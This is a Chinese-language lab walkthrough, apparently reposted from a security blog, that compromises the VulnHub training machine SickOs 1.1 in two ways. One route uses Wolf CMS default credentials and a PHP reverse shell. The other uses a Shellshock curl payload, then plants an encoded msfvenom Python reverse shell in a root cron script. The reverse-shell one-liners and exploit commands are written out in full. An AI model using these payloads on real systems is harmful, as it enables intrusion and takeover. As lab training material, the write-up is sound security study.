【红队靶机系列】--SickOs 1.1

admin 2023年11月14日08:51:50评论8 views字数 4072阅读13分34秒阅读模式


阅读须知

技术文章仅供参考,此文所提供的信息仅用于学习,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!

    我们进行红队靶场系列,vulnhub靶机中的SickOs 1.1

选用工具:

VM17   官网下载kali 2023.3版  https://mirrors.tuna.tsinghua.edu.cn/kali-images/kali-2023.3/靶场文件  https://download.vulnhub.com/sickos/sick0s1.1.7z

前期准备工作搞定后,我们继续。

    • 主机发现

同样使用 arp-scan

sudo arp-scan -l

【红队靶机系列】--SickOs 1.1

NMAP标准四件套

  • 端口扫描

  • 详细扫描(版本检测)

  • udp扫描

  • 漏洞初探


以下命令具体的解释在这个系列的第一篇上:

【红队靶机系列】--W1R3S 1.0.1

a.端口扫描

sudo nmap -sT --min-rate 10000 -p- 192.168.198.130 -oA nmapscan/ports

【红队靶机系列】--SickOs 1.1

b.详细扫描

sudo nmap -sT -sV -sC -O -p22,8080,3128 192.168.198.130 -oA nmapscan/detail

【红队靶机系列】--SickOs 1.1

c.udp扫描

sudo nmap -sU --top-ports 20 192.168.198.130 -oA nmapscan/udp

【红队靶机系列】--SickOs 1.1

d.漏洞初探

虽说8080是关闭的,但还是把它加上

sudo nmap --script=vuln -p22,8080,3128 192.168.198.130 -oA nmapscan/vuln

【红队靶机系列】--SickOs 1.1

通过这nmap的四次探测,我们进行汇总,可以得到下面的这些信息:

有8080端口,但是关闭
3128端口,使用了squid代理,版本为:3.1.19
22端口,ssh
突破点可以猜到在3128(squid代理)上

浏览器访问3128端口。

【红队靶机系列】--SickOs 1.1

同时,尝试访问8080端口,发现不行。

【红队靶机系列】--SickOs 1.1

现在我们在3128这个初始页面上看不到什么信息。


(如果你不知道的前提下)

【红队靶机系列】--SickOs 1.1

现在让工具进行扫描的同时,进行搜索、了解squid。

dirb http://192.168.198.130:3128

【红队靶机系列】--SickOs 1.1

搜索结果:

【红队靶机系列】--SickOs 1.1

接下来,我们将3128作为代理,进行扫描。

dirb http://192.168.198.130 -p http://192.168.198.130:3128

【红队靶机系列】--SickOs 1.1

很好,扫出了不少信息。

我们现在使用浏览器进行访问这几个页面。

第一步,改用squid代理。

【红队靶机系列】--SickOs 1.1

挂上代理,访问robots页面。(发现robots和robots.txt内容一致)

【红队靶机系列】--SickOs 1.1

访问:192.168.198.130/connect 页面

得到:connect 文件

【红队靶机系列】--SickOs 1.1

【红队靶机系列】--SickOs 1.1

这个文件先放在这,在robots中,有wolfcms的字样。

尝试拼凑路径,比如:/wolf 、/wolfcms 之类的,失败的话,再搜索默认路径。

使用 /wolfcms ,发现可以。

【红队靶机系列】--SickOs 1.1

【红队靶机系列】--SickOs 1.1

搜一下管理员登录路径

【红队靶机系列】--SickOs 1.1

尝试一下 " wolfcms/?/admin/ "

【红队靶机系列】--SickOs 1.1

通过上面的默认界面,可以判断这是一个还处于测试阶段的网站。那么很有可能存在默认密码,或者说弱密码。

我们先试几个弱密码,不行的话,再搜索默认密码。

发现使用 admin/admin 成功登录,就不需要后续搜索了。

【红队靶机系列】--SickOs 1.1

查看该CMS的功能,发现存在文件上传、源码可修改、添加等漏洞。

我们在其中一处添加木马。

【红队靶机系列】--SickOs 1.1

使用木马如下:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.198.128/4444 0>&1'");

【红队靶机系列】--SickOs 1.1

保存,在kali上先做好nc监听,再触发代码执行。

【红队靶机系列】--SickOs 1.1

成功触发并接收。

进入系统后,先进行获取信息(信息收集)

一般会进行如下命令:whoamiip auname -auname -slscat /etc/passwd

【红队靶机系列】--SickOs 1.1

在配置文件config.php中,存在用户名、密码。

【红队靶机系列】--SickOs 1.1

可以尝试使用ssh进行连接。先放着,继续走。

【红队靶机系列】--SickOs 1.1

基础信息都收集完了,我们来尝试SSH链接。

我们现在有的可能是账号密码有:

rootsickosjohn@123john

进行排列组合,尝试登录。

经过尝试,使用 sickos/john@123 成功登陆。

【红队靶机系列】--SickOs 1.1

查看系统权限。

【红队靶机系列】--SickOs 1.1

发现为三个ALL,这基本上就意味着root权限了。

使用bach命令进行提权。

【红队靶机系列】--SickOs 1.1

这台主机就拿下了。


总结一下思路,攻击链如下:

【红队靶机系列】--SickOs 1.1

这是第一种解法,下面进行第二种解法。



这次使用 nikto 工具进行扫描。(挂代理)

sudo nikto -h http://192.168.198.130 -useproxy http://192.168.198.130:3128

【红队靶机系列】--SickOs 1.1

【红队靶机系列】--SickOs 1.1

发现存在 "shellshock" 漏洞。尝试,进行测试是否可行。

sudo curl -v --proxy http://192.168.198.130:3128 http://192.168.198.130/cgi-bin/status -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id; exit"

【红队靶机系列】--SickOs 1.1

可行。继续构造payload

sudo msfvenom -p cmd/unix/reverse_bash lhost=192.168.198.130 lport=4444 -f raw

【红队靶机系列】--SickOs 1.1

生成poc为:

0<&66-;exec 66<>/dev/tcp/192.168.198.130/4444;sh <&66 >&66 2>&66

将 sh 改为 bin/bash 减少连接失败机率。

0<&66-;exec 66<>/dev/tcp/192.168.198.130/4444;/bin/bash <&66 >&66 2>&66

最终的payload为:

sudo curl --proxy http://192.168.198.130:3128 http://192.168.198.130/cgi-bin/status -H "Referer:() { test;}; 0<&66-;exec 66<>/dev/tcp/192.168.198.128/4444;/bin/bash <&66 >&66 2>&66"

【红队靶机系列】--SickOs 1.1

为半交互式的shell,接下来尝试python提升为全交互式。

python -c "import pty;pty.spawn('/bin/bash')"

【红队靶机系列】--SickOs 1.1

访问/var/www ,这是网站的默认路径。【红队靶机系列】--SickOs 1.1

这个Python文件实际上是一个关于定时任务的提示。

【红队靶机系列】--SickOs 1.1

接下来,我们需要做的工作就是找到这个定时任务。

【红队靶机系列】--SickOs 1.1

查看crontab,发现不是

# /etc/crontab: system-wide crontab# Unlike any other crontab you don't have to run the `crontab'# command to install the new version when you edit this file# and files in /etc/cron.d. These files also have username fields,# that none of the other crontabs do.
SHELL=/bin/shPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command17 * * * * root cd / && run-parts --report /etc/cron.hourly25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )#

继续试cron.d 路径。

【红队靶机系列】--SickOs 1.1

在automate文件中,发现了定时任务。

定时以 root 权限执行connect.py文件。

利用MSF编写Python的反弹木马

 sudo msfvenom -p cmd/unix/reverse_python lhost=192.168.198.128 lport=4445 -f raw

【红队靶机系列】--SickOs 1.1

木马为:

python -c "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNrLzC3ILypRKM5Pzk4tUYABHTiruDSpoCg/ObW4GItkPkLQGkxm5BeX2CoZWhrpGZpZ6BlaArGRhRKaIpCFtiYmJqZo4sW2EFfoQSgNKM/RLd7TzzUEm9sgCoL9nb3jg0OCXB19NdGN1EvOz8tLTS7R0AA5DYsZIMdoomvLL9ZLKS0w0ijWS8vMSc3L19DEotOALF2GZOkyQtdVYIuIGL3kxJwcDSX9pMw8/eIMJU0A7RppWw==')[0])))"

对connect.py文件进行插入木马操作。使用vi操作的时候,确实会存在乱码等等情况。

【红队靶机系列】--SickOs 1.1

【红队靶机系列】--SickOs 1.1

完成后,就是等待定时任务的执行。

【红队靶机系列】--SickOs 1.1

成功出现。连接成功。

【红队靶机系列】--SickOs 1.1

【红队靶机系列】--SickOs 1.1

第二种方法,主要是利用 "shellshock" 漏洞,这个经典漏洞,虽然年代久远了,但复现一遍依然有他的意义。

今天这篇靶机复现到这里就结束了,我们下期见。

都看到这了,就点个免费的赞呗!\( ^▽^ )/

原文始发于微信公众号(Glass的网安笔记):【红队靶机系列】--SickOs 1.1

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月14日08:51:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【红队靶机系列】--SickOs 1.1http://cn-sec.com/archives/2203891.html

发表评论

匿名网友 填写信息